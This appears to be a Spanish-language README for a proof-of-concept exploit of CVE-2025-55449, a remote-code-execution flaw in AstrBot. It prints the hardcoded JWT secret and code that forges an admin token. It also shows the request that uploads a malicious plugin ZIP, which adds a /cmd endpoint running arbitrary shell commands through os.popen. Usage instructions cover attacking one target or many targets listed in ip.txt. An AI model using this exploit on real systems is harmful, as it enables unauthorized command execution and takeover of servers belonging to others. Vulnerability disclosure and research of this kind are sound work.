
CVE-2025-55449 EXP
Este repositorio contiene un exploit de prueba de concepto para CVE-2025-55449, una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en AstrBot. La vulnerabilidad permite a un atacante ejecutar código arbitrario en el sistema objetivo explotando una autenticación JWT débil y el mecanismo de instalación de plugins.
La vulnerabilidad existe debido a:
Clave secreta JWT codificada: AstrBot utiliza una clave secreta JWT codificada (Advanced_System_for_Text_Response_and_Bot_Operations_Tool) para la autenticación, permitiendo a los atacantes falsificar tokens de autenticación válidos.
Instalación de plugins sin restricciones: El endpoint /api/plugin/install-upload permite a usuarios autenticados cargar e instalar plugins sin una validación adecuada, lo que permite la ejecución de código Python arbitrario.
Ejecución de código a través del sistema de plugins: El sistema de plugins permite modificar el enrutamiento de la aplicación y ejecutar comandos arbitrarios a través de la instancia de la aplicación Flask/Quart.
Falsificación de token JWT: El exploit falsifica un token JWT utilizando la clave secreta codificada con privilegios de administrador.
Ejecución de código vulnerable:La vulnerabilidad de ejecución remota de código en el backend explota la función de extensión de plugins incorporada en la aplicación, permitiendo a los usuarios cargar paquetes de plugins personalizados. El programa descomprime los paquetes, lee la información del plugin, importa el archivo Python del objeto y ejecuta el código.
1. Forge JWT token with hardcoded secret
2. Create malicious plugin ZIP file
3. POST to /api/plugin/install-upload with forged token
4. Plugin installs and adds /cmd endpoint
5. Execute commands via /cmd?cmd=<command>
jwt (PyJWT)requestszipfile (incorporado)argparse (incorporado)datetime (incorporado)pathlib (incorporado)git clone <repository-url>
cd CVE-2025-55449
pip install PyJWT requests
Ejecuta el exploit contra una única URL objetivo:
python main.py http://target-ip:port
Crea un archivo (ip.txt) con una URL por línea:
http://target1:6185
http://target2:6185
http://target3:6185
Luego ejecuta:
python main.py -r ip.txt
Tras una explotación exitosa, el script mostrará:
http://target-ip:port/cmd?cmd=id
Luego puedes ejecutar comandos accediendo a:
http://target-ip:port/cmd?cmd=<your-command>
Por ejemplo:
http://target-ip:port/cmd?cmd=whoami
http://target-ip:port/cmd?cmd=ls -la
CVE-2025-55449/
├── main.py # Main exploit script
├── ip.txt # Example target URLs file
├── README.md # This file
└── helloworld/ # Malicious plugin directory
├── main.py # Plugin code that adds /cmd endpoint
├── metadata.yaml # Plugin metadata
├── LICENSE # Plugin license
└── README.md # Plugin readme
El exploit utiliza la clave secreta JWT codificada para crear un token de autenticación válido:
key = "Advanced_System_for_Text_Response_and_Bot_Operations_Tool"
payload = {"username": "admin", "exp": datetime.datetime.utcnow() + datetime.timedelta(days=7)}
forged = jwt.encode(payload, key, algorithm="HS256")
El plugin (helloworld/main.py) explota el sistema de importación de Python y la instancia de la aplicación Flask/Quart para inyectar una nueva ruta:
# The plugin finds the Quart application instance and adds a /cmd route
# that executes arbitrary commands via os.popen()
El exploit empaqueta el plugin como un archivo ZIP y lo sube a través del endpoint autenticado:
requests.post(
url + "/api/plugin/install-upload",
headers={"Authorization": "Bearer " + forged},
files={"file": (name + ".zip", zip_payload_bytes)}
)